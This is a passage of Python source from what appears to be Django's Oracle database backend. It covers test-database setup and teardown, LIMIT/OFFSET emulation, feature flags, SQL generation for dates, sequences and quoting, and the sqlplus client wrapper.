        self._execute_allow_fail_statements(cursor, statements, parameters, verbosity, acceptable_ora_err)

    def _create_test_user(self, cursor, parameters, verbosity, keepdb=False):
        if verbosity >= 2:
            print("_create_test_user(): username = %s" % parameters['user'])
        statements = [
            """CREATE USER %(user)s
               IDENTIFIED BY %(password)s
               DEFAULT TABLESPACE %(tblspace)s
               TEMPORARY TABLESPACE %(tblspace_temp)s
               QUOTA UNLIMITED ON %(tblspace)s
            """,
            """GRANT CREATE SESSION,
                     CREATE TABLE,
                     CREATE SEQUENCE,
                     CREATE PROCEDURE,
                     CREATE TRIGGER
               TO %(user)s""",
        ]
        # Ignore "user already exists" error when keepdb is on
        acceptable_ora_err = 'ORA-01920' if keepdb else None
        self._execute_allow_fail_statements(cursor, statements, parameters, verbosity, acceptable_ora_err)
        # Most test-suites can be run without the create-view privilege. But some need it.
        extra = "GRANT CREATE VIEW TO %(user)s"
        success = self._execute_allow_fail_statements(cursor, [extra], parameters, verbosity, 'ORA-01031')
        if not success and verbosity >= 2:
            print("Failed to grant CREATE VIEW permission to test user. This may be ok.")

    def _execute_test_db_destruction(self, cursor, parameters, verbosity):
        if verbosity >= 2:
            print("_execute_test_db_destruction(): dbname=%s" % parameters['user'])
        statements = [
            'DROP TABLESPACE %(tblspace)s INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS',
            'DROP TABLESPACE %(tblspace_temp)s INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS',
        ]
        self._execute_statements(cursor, statements, parameters, verbosity)

    def _destroy_test_user(self, cursor, parameters, verbosity):
        if verbosity >= 2:
            print("_destroy_test_user(): user=%s" % parameters['user'])
            print("Be patient.  This can take some time...")
        statements = [
            'DROP USER %(user)s CASCADE',
        ]
        self._execute_statements(cursor, statements, parameters, verbosity)

    def _execute_statements(self, cursor, statements, parameters, verbosity, allow_quiet_fail=False):
        for template in statements:
            stmt = template % parameters
            if verbosity >= 2:
                print(stmt)
            try:
                cursor.execute(stmt)
            except Exception as err:
                if (not allow_quiet_fail) or verbosity >= 2:
                    sys.stderr.write("Failed (%s)\n" % (err))
                raise

    def _execute_allow_fail_statements(self, cursor, statements, parameters, verbosity, acceptable_ora_err):
        """
        Execute statements which are allowed to fail silently if the Oracle
        error code given by `acceptable_ora_err` is raised. Return True if the
        statements execute without an exception, or False otherwise.
        """
        try:
            # Statement can fail when acceptable_ora_err is not None
            allow_quiet_fail = acceptable_ora_err is not None and len(acceptable_ora_err) > 0
            self._execute_statements(cursor, statements, parameters, verbosity, allow_quiet_fail=allow_quiet_fail)
            return True
        except DatabaseError as err:
            description = str(err)
            if acceptable_ora_err is None or acceptable_ora_err not in description:
                raise
            return False

    def _get_test_db_params(self):
        return {
            'dbname': self._test_database_name(),
            'user': self._test_database_user(),
            'password': self._test_database_passwd(),
            'tblspace': self._test_database_tblspace(),
            'tblspace_temp': self._test_database_tblspace_tmp(),
            'datafile': self._test_database_tblspace_datafile(),
            'datafile_tmp': self._test_database_tblspace_tmp_datafile(),
            'maxsize': self._test_database_tblspace_size(),
            'maxsize_tmp': self._test_database_tblspace_tmp_size(),
        }

    def _test_settings_get(self, key, default=None, prefixed=None):
        """
        Return a value from the test settings dict,
        or a given default,
        or a prefixed entry from the main settings dict
        """
        settings_dict = self.connection.settings_dict
        val = settings_dict['TEST'].get(key, default)
        if val is None:
            val = TEST_DATABASE_PREFIX + settings_dict[prefixed]
        return val

    def _test_database_name(self):
        return self._test_settings_get('NAME', prefixed='NAME')

    def _test_database_create(self):
        return self._test_settings_get('CREATE_DB', default=True)

    def _test_user_create(self):
        return self._test_settings_get('CREATE_USER', default=True)

    def _test_database_user(self):
        return self._test_settings_get('USER', prefixed='USER')

    def _test_database_passwd(self):
        return self._test_settings_get('PASSWORD', default=PASSWORD)

    def _test_database_tblspace(self):
        return self._test_settings_get('TBLSPACE', prefixed='USER')

    def _test_database_tblspace_tmp(self):
        settings_dict = self.connection.settings_dict
        return settings_dict['TEST'].get('TBLSPACE_TMP',
                                         TEST_DATABASE_PREFIX + settings_dict['USER'] + '_temp')

    def _test_database_tblspace_datafile(self):
        tblspace = '%s.dbf' % self._test_database_tblspace()
        return self._test_settings_get('DATAFILE', default=tblspace)

    def _test_database_tblspace_tmp_datafile(self):
        tblspace = '%s.dbf' % self._test_database_tblspace_tmp()
        return self._test_settings_get('DATAFILE_TMP', default=tblspace)

    def _test_database_tblspace_size(self):
        return self._test_settings_get('DATAFILE_MAXSIZE', default='500M')

    def _test_database_tblspace_tmp_size(self):
        return self._test_settings_get('DATAFILE_TMP_MAXSIZE', default='500M')

    def _get_test_db_name(self):
        """
        We need to return the 'production' DB name to get the test DB creation
        machinery to work. This isn't a great deal in this case because DB
        names as handled by Django haven't real counterparts in Oracle.
        """
        return self.connection.settings_dict['NAME']

    def test_db_signature(self):
        settings_dict = self.connection.settings_dict
        return (
            settings_dict['HOST'],
            settings_dict['PORT'],
            settings_dict['ENGINE'],
            settings_dict['NAME'],
            self._test_database_user(),
        )






from django.db.models.sql import compiler


class SQLCompiler(compiler.SQLCompiler):
    def as_sql(self, with_limits=True, with_col_aliases=False, subquery=False):
        """
        Creates the SQL for this query. Returns the SQL string and list
        of parameters.  This is overridden from the original Query class
        to handle the additional SQL Oracle requires to emulate LIMIT
        and OFFSET.

        If 'with_limits' is False, any limit/offset information is not
        included in the query.
        """
        # The `do_offset` flag indicates whether we need to construct
        # the SQL needed to use limit/offset with Oracle.
        do_offset = with_limits and (self.query.high_mark is not None or self.query.low_mark)
        if not do_offset:
            sql, params = super(SQLCompiler, self).as_sql(
                with_limits=False,
                with_col_aliases=with_col_aliases,
                subquery=subquery,
            )
        else:
            sql, params = super(SQLCompiler, self).as_sql(
                with_limits=False,
                with_col_aliases=True,
                subquery=subquery,
            )
            # Wrap the base query in an outer SELECT * with boundaries on
            # the "_RN" column.  This is the canonical way to emulate LIMIT
            # and OFFSET on Oracle.
            high_where = ''
            if self.query.high_mark is not None:
                high_where = 'WHERE ROWNUM <= %d' % (self.query.high_mark,)
            sql = (
                'SELECT * FROM (SELECT "_SUB".*, ROWNUM AS "_RN" FROM (%s) '
                '"_SUB" %s) WHERE "_RN" > %d' % (sql, high_where, self.query.low_mark)
            )

        return sql, params


class SQLInsertCompiler(compiler.SQLInsertCompiler, SQLCompiler):
    pass


class SQLDeleteCompiler(compiler.SQLDeleteCompiler, SQLCompiler):
    pass


class SQLUpdateCompiler(compiler.SQLUpdateCompiler, SQLCompiler):
    pass


class SQLAggregateCompiler(compiler.SQLAggregateCompiler, SQLCompiler):
    pass






from django.db.backends.base.features import BaseDatabaseFeatures
from django.db.utils import InterfaceError

try:
    import pytz
except ImportError:
    pytz = None


class DatabaseFeatures(BaseDatabaseFeatures):
    empty_fetchmany_value = ()
    interprets_empty_strings_as_nulls = True
    uses_savepoints = True
    has_select_for_update = True
    has_select_for_update_nowait = True
    has_select_for_update_skip_locked = True
    can_return_id_from_insert = True
    allow_sliced_subqueries = False
    supports_subqueries_in_group_by = False
    supports_transactions = True
    supports_timezones = False
    has_zoneinfo_database = pytz is not None
    supports_bitwise_or = False
    has_native_duration_field = True
    can_defer_constraint_checks = True
    supports_partially_nullable_unique_constraints = False
    truncates_names = True
    has_bulk_insert = True
    supports_tablespaces = True
    supports_sequence_reset = False
    can_introspect_default = False  # Pending implementation by an interested person.
    can_introspect_max_length = False
    can_introspect_time_field = False
    atomic_transactions = False
    supports_combined_alters = False
    nulls_order_largest = True
    requires_literal_defaults = True
    closed_cursor_error_class = InterfaceError
    bare_select_suffix = " FROM DUAL"
    uppercases_column_names = True
    # select for update with limit can be achieved on Oracle, but not with the current backend.
    supports_select_for_update_with_limit = False
    supports_temporal_subtraction = True
    # Oracle doesn't ignore quoted identifiers case but the current backend
    # does by uppercasing all identifiers.
    ignores_quoted_identifier_case = True

    def introspected_boolean_field_type(self, field=None, created_separately=False):
        """
        Some versions of Oracle -- we've seen this on 11.2.0.1 and suspect
        it goes back -- have a weird bug where, when an integer column is
        added to an existing table with a default, its precision is later
        reported on introspection as 0, regardless of the real precision.
        For Django introspection, this means that such columns are reported
        as IntegerField even if they are really BigIntegerField or BooleanField.

        The bug is solved in Oracle 11.2.0.2 and up.
        """
        if self.connection.oracle_full_version < '11.2.0.2' and field and field.has_default() and created_separately:
            return 'IntegerField'
        return super(DatabaseFeatures, self).introspected_boolean_field_type(field, created_separately)






from __future__ import unicode_literals

import datetime
import re
import uuid

from django.conf import settings
from django.db.backends.base.operations import BaseDatabaseOperations
from django.db.backends.utils import truncate_name
from django.utils import six, timezone
from django.utils.encoding import force_bytes, force_text

from .base import Database
from .utils import InsertIdVar, Oracle_datetime, convert_unicode


class DatabaseOperations(BaseDatabaseOperations):
    compiler_module = "django.db.backends.oracle.compiler"

    # Oracle uses NUMBER(11) and NUMBER(19) for integer fields.
    integer_field_ranges = {
        'SmallIntegerField': (-99999999999, 99999999999),
        'IntegerField': (-99999999999, 99999999999),
        'BigIntegerField': (-9999999999999999999, 9999999999999999999),
        'PositiveSmallIntegerField': (0, 99999999999),
        'PositiveIntegerField': (0, 99999999999),
    }

    # TODO: colorize this SQL code with style.SQL_KEYWORD(), etc.
    _sequence_reset_sql = """
DECLARE
    table_value integer;
    seq_value integer;
BEGIN
    SELECT NVL(MAX(%(column)s), 0) INTO table_value FROM %(table)s;
    SELECT NVL(last_number - cache_size, 0) INTO seq_value FROM user_sequences
           WHERE sequence_name = '%(sequence)s';
    WHILE table_value > seq_value LOOP
        SELECT "%(sequence)s".nextval INTO seq_value FROM dual;
    END LOOP;
END;
/"""

    def autoinc_sql(self, table, column):
        # To simulate auto-incrementing primary keys in Oracle, we have to
        # create a sequence and a trigger.
        args = {
            'sq_name': self._get_sequence_name(table),
            'tr_name': self._get_trigger_name(table),
            'tbl_name': self.quote_name(table),
            'col_name': self.quote_name(column),
        }
        sequence_sql = """
DECLARE
    i INTEGER;
BEGIN
    SELECT COUNT(*) INTO i FROM USER_CATALOG
        WHERE TABLE_NAME = '%(sq_name)s' AND TABLE_TYPE = 'SEQUENCE';
    IF i = 0 THEN
        EXECUTE IMMEDIATE 'CREATE SEQUENCE "%(sq_name)s"';
    END IF;
END;
/""" % args
        trigger_sql = """
CREATE OR REPLACE TRIGGER "%(tr_name)s"
BEFORE INSERT ON %(tbl_name)s
FOR EACH ROW
WHEN (new.%(col_name)s IS NULL)
    BEGIN
        SELECT "%(sq_name)s".nextval
        INTO :new.%(col_name)s FROM dual;
    END;
/""" % args
        return sequence_sql, trigger_sql

    def cache_key_culling_sql(self):
        return """
            SELECT cache_key
              FROM (SELECT cache_key, rank() OVER (ORDER BY cache_key) AS rank FROM %s)
             WHERE rank = %%s + 1
        """

    def date_extract_sql(self, lookup_type, field_name):
        if lookup_type == 'week_day':
            # TO_CHAR(field, 'D') returns an integer from 1-7, where 1=Sunday.
            return "TO_CHAR(%s, 'D')" % field_name
        else:
            # http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions050.htm
            return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

    def date_interval_sql(self, timedelta):
        """
        Implements the interval functionality for expressions
        format for Oracle:
        INTERVAL '3 00:03:20.000000' DAY(1) TO SECOND(6)
        """
        minutes, seconds = divmod(timedelta.seconds, 60)
        hours, minutes = divmod(minutes, 60)
        days = str(timedelta.days)
        day_precision = len(days)
        fmt = "INTERVAL '%s %02d:%02d:%02d.%06d' DAY(%d) TO SECOND(6)"
        return fmt % (days, hours, minutes, seconds, timedelta.microseconds, day_precision), []

    def date_trunc_sql(self, lookup_type, field_name):
        # http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions230.htm#i1002084
        if lookup_type in ('year', 'month'):
            return "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
        else:
            return "TRUNC(%s)" % field_name

    # Oracle crashes with "ORA-03113: end-of-file on communication channel"
    # if the time zone name is passed in parameter. Use interpolation instead.
    # https://groups.google.com/forum/#!msg/django-developers/zwQju7hbG78/9l934yelwfsJ
    # This regexp matches all time zone names from the zoneinfo database.
    _tzname_re = re.compile(r'^[\w/:+-]+$')

    def _convert_field_to_tz(self, field_name, tzname):
        if not settings.USE_TZ:
            return field_name
        if not self._tzname_re.match(tzname):
            raise ValueError("Invalid time zone name: %s" % tzname)
        # Convert from UTC to local time, returning TIMESTAMP WITH TIME ZONE
        # and cast it back to TIMESTAMP to strip the TIME ZONE details.
        return "CAST((FROM_TZ(%s, '0:00') AT TIME ZONE '%s') AS TIMESTAMP)" % (field_name, tzname)

    def datetime_cast_date_sql(self, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        sql = 'TRUNC(%s)' % field_name
        return sql, []

    def datetime_cast_time_sql(self, field_name, tzname):
        # Since `TimeField` values are stored as TIMESTAMP where only the date
        # part is ignored, convert the field to the specified timezone.
        field_name = self._convert_field_to_tz(field_name, tzname)
        return field_name, []

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        sql = self.date_extract_sql(lookup_type, field_name)
        return sql, []

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        # http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions230.htm#i1002084
        if lookup_type in ('year', 'month'):
            sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
        elif lookup_type == 'day':
            sql = "TRUNC(%s)" % field_name
        elif lookup_type == 'hour':
            sql = "TRUNC(%s, 'HH24')" % field_name
        elif lookup_type == 'minute':
            sql = "TRUNC(%s, 'MI')" % field_name
        else:
            sql = "CAST(%s AS DATE)" % field_name  # Cast to DATE removes sub-second precision.
        return sql, []

    def time_trunc_sql(self, lookup_type, field_name):
        # The implementation is similar to `datetime_trunc_sql` as both
        # `DateTimeField` and `TimeField` are stored as TIMESTAMP where
        # the date part of the later is ignored.
        if lookup_type == 'hour':
            sql = "TRUNC(%s, 'HH24')" % field_name
        elif lookup_type == 'minute':
            sql = "TRUNC(%s, 'MI')" % field_name
        elif lookup_type == 'second':
            sql = "CAST(%s AS DATE)" % field_name  # Cast to DATE removes sub-second precision.
        return sql

    def get_db_converters(self, expression):
        converters = super(DatabaseOperations, self).get_db_converters(expression)
        internal_type = expression.output_field.get_internal_type()
        if internal_type == 'TextField':
            converters.append(self.convert_textfield_value)
        elif internal_type == 'BinaryField':
            converters.append(self.convert_binaryfield_value)
        elif internal_type in ['BooleanField', 'NullBooleanField']:
            converters.append(self.convert_booleanfield_value)
        elif internal_type == 'DateTimeField':
            converters.append(self.convert_datetimefield_value)
        elif internal_type == 'DateField':
            converters.append(self.convert_datefield_value)
        elif internal_type == 'TimeField':
            converters.append(self.convert_timefield_value)
        elif internal_type == 'UUIDField':
            converters.append(self.convert_uuidfield_value)
        converters.append(self.convert_empty_values)
        return converters

    def convert_textfield_value(self, value, expression, connection, context):
        if isinstance(value, Database.LOB):
            value = force_text(value.read())
        return value

    def convert_binaryfield_value(self, value, expression, connection, context):
        if isinstance(value, Database.LOB):
            value = force_bytes(value.read())
        return value

    def convert_booleanfield_value(self, value, expression, connection, context):
        if value in (0, 1):
            value = bool(value)
        return value

    # cx_Oracle always returns datetime.datetime objects for
    # DATE and TIMESTAMP columns, but Django wants to see a
    # python datetime.date, .time, or .datetime.

    def convert_datetimefield_value(self, value, expression, connection, context):
        if value is not None:
            if settings.USE_TZ:
                value = timezone.make_aware(value, self.connection.timezone)
        return value

    def convert_datefield_value(self, value, expression, connection, context):
        if isinstance(value, Database.Timestamp):
            value = value.date()
        return value

    def convert_timefield_value(self, value, expression, connection, context):
        if isinstance(value, Database.Timestamp):
            value = value.time()
        return value

    def convert_uuidfield_value(self, value, expression, connection, context):
        if value is not None:
            value = uuid.UUID(value)
        return value

    def convert_empty_values(self, value, expression, connection, context):
        # Oracle stores empty strings as null. We need to undo this in
        # order to adhere to the Django convention of using the empty
        # string instead of null, but only if the field accepts the
        # empty string.
        field = expression.output_field
        if value is None and field.empty_strings_allowed:
            value = ''
            if field.get_internal_type() == 'BinaryField':
                value = b''
        return value

    def deferrable_sql(self):
        return " DEFERRABLE INITIALLY DEFERRED"

    def fetch_returned_insert_id(self, cursor):
        return int(cursor._insert_id_var.getvalue())

    def field_cast_sql(self, db_type, internal_type):
        if db_type and db_type.endswith('LOB'):
            return "DBMS_LOB.SUBSTR(%s)"
        else:
            return "%s"

    def last_executed_query(self, cursor, sql, params):
        # https://cx-oracle.readthedocs.io/en/latest/cursor.html#Cursor.statement
        # The DB API definition does not define this attribute.
        statement = cursor.statement
        if statement and six.PY2 and not isinstance(statement, unicode):  # NOQA: unicode undefined on PY3
            statement = statement.decode('utf-8')
        # Unlike Psycopg's `query` and MySQLdb`'s `_last_executed`, CxOracle's
        # `statement` doesn't contain the query parameters. refs #20010.
        return super(DatabaseOperations, self).last_executed_query(cursor, statement, params)

    def last_insert_id(self, cursor, table_name, pk_name):
        sq_name = self._get_sequence_name(table_name)
        cursor.execute('SELECT "%s".currval FROM dual' % sq_name)
        return cursor.fetchone()[0]

    def lookup_cast(self, lookup_type, internal_type=None):
        if lookup_type in ('iexact', 'icontains', 'istartswith', 'iendswith'):
            return "UPPER(%s)"
        return "%s"

    def max_in_list_size(self):
        return 1000

    def max_name_length(self):
        return 30

    def pk_default_value(self):
        return "NULL"

    def prep_for_iexact_query(self, x):
        return x

    def process_clob(self, value):
        if value is None:
            return ''
        return force_text(value.read())

    def quote_name(self, name):
        # SQL92 requires delimited (quoted) names to be case-sensitive.  When
        # not quoted, Oracle has case-insensitive behavior for identifiers, but
        # always defaults to uppercase.
        # We simplify things by making Oracle identifiers always uppercase.
        if not name.startswith('"') and not name.endswith('"'):
            name = '"%s"' % truncate_name(name.upper(), self.max_name_length())
        # Oracle puts the query text into a (query % args) construct, so % signs
        # in names need to be escaped. The '%%' will be collapsed back to '%' at
        # that stage so we aren't really making the name longer here.
        name = name.replace('%', '%%')
        return name.upper()

    def random_function_sql(self):
        return "DBMS_RANDOM.RANDOM"

    def regex_lookup(self, lookup_type):
        if lookup_type == 'regex':
            match_option = "'c'"
        else:
            match_option = "'i'"
        return 'REGEXP_LIKE(%%s, %%s, %s)' % match_option

    def return_insert_id(self):
        return "RETURNING %s INTO %%s", (InsertIdVar(),)

    def savepoint_create_sql(self, sid):
        return convert_unicode("SAVEPOINT " + self.quote_name(sid))

    def savepoint_rollback_sql(self, sid):
        return convert_unicode("ROLLBACK TO SAVEPOINT " + self.quote_name(sid))

    def sql_flush(self, style, tables, sequences, allow_cascade=False):
        # Return a list of 'TRUNCATE x;', 'TRUNCATE y;',
        # 'TRUNCATE z;'... style SQL statements
        if tables:
            # Oracle does support TRUNCATE, but it seems to get us into
            # FK referential trouble, whereas DELETE FROM table works.
            sql = ['%s %s %s;' % (
                style.SQL_KEYWORD('DELETE'),
                style.SQL_KEYWORD('FROM'),
                style.SQL_FIELD(self.quote_name(table))
            ) for table in tables]
            # Since we've just deleted all the rows, running our sequence
            # ALTER code will reset the sequence to 0.
            sql.extend(self.sequence_reset_by_name_sql(style, sequences))
            return sql
        else:
            return []

    def sequence_reset_by_name_sql(self, style, sequences):
        sql = []
        for sequence_info in sequences:
            sequence_name = self._get_sequence_name(sequence_info['table'])
            table_name = self.quote_name(sequence_info['table'])
            column_name = self.quote_name(sequence_info['column'] or 'id')
            query = self._sequence_reset_sql % {
                'sequence': sequence_name,
                'table': table_name,
                'column': column_name,
            }
            sql.append(query)
        return sql

    def sequence_reset_sql(self, style, model_list):
        from django.db import models
        output = []
        query = self._sequence_reset_sql
        for model in model_list:
            for f in model._meta.local_fields:
                if isinstance(f, models.AutoField):
                    table_name = self.quote_name(model._meta.db_table)
                    sequence_name = self._get_sequence_name(model._meta.db_table)
                    column_name = self.quote_name(f.column)
                    output.append(query % {'sequence': sequence_name,
                                           'table': table_name,
                                           'column': column_name})
                    # Only one AutoField is allowed per model, so don't
                    # continue to loop
                    break
            for f in model._meta.many_to_many:
                if not f.remote_field.through:
                    table_name = self.quote_name(f.m2m_db_table())
                    sequence_name = self._get_sequence_name(f.m2m_db_table())
                    column_name = self.quote_name('id')
                    output.append(query % {'sequence': sequence_name,
                                           'table': table_name,
                                           'column': column_name})
        return output

    def start_transaction_sql(self):
        return ''

    def tablespace_sql(self, tablespace, inline=False):
        if inline:
            return "USING INDEX TABLESPACE %s" % self.quote_name(tablespace)
        else:
            return "TABLESPACE %s" % self.quote_name(tablespace)

    def adapt_datefield_value(self, value):
        """
        Transform a date value to an object compatible with what is expected
        by the backend driver for date columns.
        The default implementation transforms the date to text, but that is not
        necessary for Oracle.
        """
        return value

    def adapt_datetimefield_value(self, value):
        """
        Transform a datetime value to an object compatible with what is expected
        by the backend driver for datetime columns.

        If naive datetime is passed assumes that is in UTC. Normally Django
        models.DateTimeField makes sure that if USE_TZ is True passed datetime
        is timezone aware.
        """

        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        # cx_Oracle doesn't support tz-aware datetimes
        if timezone.is_aware(value):
            if settings.USE_TZ:
                value = timezone.make_naive(value, self.connection.timezone)
            else:
                raise ValueError("Oracle backend does not support timezone-aware datetimes when USE_TZ is False.")

        return Oracle_datetime.from_datetime(value)

    def adapt_timefield_value(self, value):
        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        if isinstance(value, six.string_types):
            return datetime.datetime.strptime(value, '%H:%M:%S')

        # Oracle doesn't support tz-aware times
        if timezone.is_aware(value):
            raise ValueError("Oracle backend does not support timezone-aware times.")

        return Oracle_datetime(1900, 1, 1, value.hour, value.minute,
                               value.second, value.microsecond)

    def combine_expression(self, connector, sub_expressions):
        "Oracle requires special cases for %% and & operators in query expressions"
        if connector == '%%':
            return 'MOD(%s)' % ','.join(sub_expressions)
        elif connector == '&':
            return 'BITAND(%s)' % ','.join(sub_expressions)
        elif connector == '|':
            raise NotImplementedError("Bit-wise or is not supported in Oracle.")
        elif connector == '^':
            return 'POWER(%s)' % ','.join(sub_expressions)
        return super(DatabaseOperations, self).combine_expression(connector, sub_expressions)

    def _get_sequence_name(self, table):
        name_length = self.max_name_length() - 3
        return '%s_SQ' % truncate_name(table, name_length).upper()

    def _get_trigger_name(self, table):
        name_length = self.max_name_length() - 3
        return '%s_TR' % truncate_name(table, name_length).upper()

    def bulk_insert_sql(self, fields, placeholder_rows):
        return " UNION ALL ".join(
            "SELECT %s FROM DUAL" % ", ".join(row)
            for row in placeholder_rows
        )

    def subtract_temporals(self, internal_type, lhs, rhs):
        if internal_type == 'DateField':
            lhs_sql, lhs_params = lhs
            rhs_sql, rhs_params = rhs
            return "NUMTODSINTERVAL(%s - %s, 'DAY')" % (lhs_sql, rhs_sql), lhs_params + rhs_params
        return super(DatabaseOperations, self).subtract_temporals(internal_type, lhs, rhs)






import subprocess

from django.db.backends.base.client import BaseDatabaseClient


class DatabaseClient(BaseDatabaseClient):
    executable_name = 'sqlplus'

    def runshell(self):
        conn_string = self.connection._connect_string()
        args = [self.executable_name, "-L", conn_string]
        subprocess.check_call(args)






"""
Oracle database backend for Django.

Requires cx_Oracle: http://cx-oracle.sourceforge.net/
"""
from __future__ import unicode_literals

import datetime
import decimal
import os
import platform
import sys
import warnings

from django.conf import settings
from django.db import utils
from django.db.backends.base.base import BaseDatabaseWrapper
from django.db.backends.base.validation import BaseDatabaseValidation
from django.utils import six, timezone
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.duration import duration_string
from django.utils.encoding import force_bytes, force_text
from django.utils.functional import cached_property


def _setup_environment(environ):
    # Cygwin requires some special voodoo to set the environment variables
    # properly so that Oracle will see them.
    if platform.system().upper().startswith('CYGWIN'):
        try:
            import ctypes
        except ImportError as e:
            from django.core.exceptions import ImproperlyConfigured
            raise ImproperlyConfigured("Error loading ctypes: %s; "
                                       "the Oracle backend requires ctypes to "
                                       "operate correctly under Cygwin." % e)
        kernel32 = ctypes.CDLL('kernel32')
        for name, value in environ:
            kernel32.SetEnvironmentVariableA(name, value)
    else:
        os.environ.update(environ)

_setup_environment([
    # Oracle takes client-side character set encoding from the environment.
    ('NLS_LANG', '.UTF8'),
    # This prevents unicode from getting mangled by getting encoded into the
    # potentially non-unicode database character set.
    ('ORA_NCHAR_LITERAL_REPLACE', 'TRUE'),
])


try:
    import cx_Oracle as Database
except ImportError as e:
    from django.core.exceptions import ImproperlyConfigured
    raise ImproperlyConfigured("Error loading cx_Oracle module: %s" % e)

# Some of these import cx_Oracle, so import them after checking if it's installed.
from .client import DatabaseClient                          # NOQA isort:skip
from .creation import DatabaseCreation                      # NOQA isort:skip
from .features import DatabaseFeatures                      # NOQA isort:skip
from .introspection import DatabaseIntrospection            # NOQA isort:skip
from .operations import DatabaseOperations                  # NOQA isort:skip
from .schema import DatabaseSchemaEditor                    # NOQA isort:skip
from .utils import Oracle_datetime, convert_unicode         # NOQA isort:skip

DatabaseError = Database.DatabaseError
IntegrityError = Database.IntegrityError


class _UninitializedOperatorsDescriptor(object):

    def __get__(self, instance, cls=None):
        # If connection.operators is looked up before a connection has been
        # created, transparently initialize connection.operators to avert an
        # AttributeError.
        if instance is None:
            raise AttributeError("operators not available as class attribute")
        # Creating a cursor will initialize the operators.
        instance.cursor().close()
        return instance.__dict__['operators']


class DatabaseWrapper(BaseDatabaseWrapper):
    vendor = 'oracle'
    # This dictionary maps Field objects to their associated Oracle column
    # types, as strings. Column-type strings can contain format strings; they'll
    # be interpolated against the values of Field.__dict__ before being output.
    # If a column type is set to None, it won't be included in the output.
    #
    # Any format strings starting with "qn_" are quoted before being used in the
    # output (the "qn_" prefix is stripped before the lookup is performed.
    data_types = {
        'AutoField': 'NUMBER(11)',
        'BigAutoField': 'NUMBER(19)',
        'BinaryField': 'BLOB',
        'BooleanField': 'NUMBER(1)',
        'CharField': 'NVARCHAR2(%(max_length)s)',
        'CommaSeparatedIntegerField': 'VARCHAR2(%(max_length)s)',
        'DateField': 'DATE',
        'DateTimeField': 'TIMESTAMP',
        'DecimalField': 'NUMBER(%(max_digits)s, %(decimal_places)s)',
        'DurationField': 'INTERVAL DAY(9) TO SECOND(6)',
        'FileField': 'NVARCHAR2(%(max_length)s)',
        'FilePathField': 'NVARCHAR2(%(max_length)s)',
        'FloatField': 'DOUBLE PRECISION',
        'IntegerField': 'NUMBER(11)',
        'BigIntegerField': 'NUMBER(19)',
        'IPAddressField': 'VARCHAR2(15)',
        'GenericIPAddressField': 'VARCHAR2(39)',
        'NullBooleanField': 'NUMBER(1)',
        'OneToOneField': 'NUMBER(11)',
        'PositiveIntegerField': 'NUMBER(11)',
        'PositiveSmallIntegerField': 'NUMBER(11)',
        'SlugField': 'NVARCHAR2(%(max_length)s)',
        'SmallIntegerField': 'NUMBER(11)',
        'TextField': 'NCLOB',
        'TimeField': 'TIMESTAMP',
        'URLField': 'VARCHAR2(%(max_length)s)',
        'UUIDField': 'VARCHAR2(32)',
    }
    data_type_check_constraints = {
        'BooleanField': '%(qn_column)s IN (0,1)',
        'NullBooleanField': '(%(qn_column)s IN (0,1)) OR (%(qn_column)s IS NULL)',
        'PositiveIntegerField': '%(qn_column)s >= 0',
        'PositiveSmallIntegerField': '%(qn_column)s >= 0',
    }

    operators = _UninitializedOperatorsDescriptor()

    _standard_operators = {
        'exact': '= %s',
        'iexact': '= UPPER(%s)',
        'contains': "LIKE TRANSLATE(%s USING NCHAR_CS) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
        'icontains': "LIKE UPPER(TRANSLATE(%s USING NCHAR_CS)) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': "LIKE TRANSLATE(%s USING NCHAR_CS) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
        'endswith': "LIKE TRANSLATE(%s USING NCHAR_CS) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
        'istartswith': "LIKE UPPER(TRANSLATE(%s USING NCHAR_CS)) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
        'iendswith': "LIKE UPPER(TRANSLATE(%s USING NCHAR_CS)) ESCAPE TRANSLATE('\\' USING NCHAR_CS)",
    }

    _likec_operators = _standard_operators.copy()
    _likec_operators.update({
        'contains': "LIKEC %s ESCAPE '\\'",
        'icontains': "LIKEC UPPER(%s) ESCAPE '\\'",
        'startswith': "LIKEC %s ESCAPE '\\'",
        'endswith': "LIKEC %s ESCAPE '\\'",
        'istartswith': "LIKEC UPPER(%s) ESCAPE '\\'",
        'iendswith': "LIKEC UPPER(%s) ESCAPE '\\'",
    })

    # The patterns below are used to generate SQL pattern lookup clauses when
    # the right-hand side of the lookup isn't a raw string (it might be an expression
    # or the result of a bilateral transformation).
    # In those cases, special characters for LIKE operators (e.g. \, *, _) should be
    # escaped on database side.
    #
    # Note: we use str.format() here for readability as '%' is used as a wildcard for
    # the LIKE operator.
    pattern_esc = r"REPLACE(REPLACE(REPLACE({}, '\', '\\'), '%%', '\%%'), '_', '\_')"
    _pattern_ops = {
        'contains': "'%%' || {} || '%%'",
        'icontains': "'%%' || UPPER({}) || '%%'",
        'startswith': "{} || '%%'",
        'istartswith': "UPPER({}) || '%%'",
        'endswith': "'%%' || {}",
        'iendswith': "'%%' || UPPER({})",
    }

    _standard_pattern_ops = {k: "LIKE TRANSLATE( " + v + " USING NCHAR_CS)"
                                " ESCAPE TRANSLATE('\\' USING NCHAR_CS)"
                             for k, v in _pattern_ops.items()}
    _likec_pattern_ops = {k: "LIKEC " + v + " ESCAPE '\\'"
                          for k, v in _pattern_ops.items()}

    Database = Database
    SchemaEditorClass = DatabaseSchemaEditor

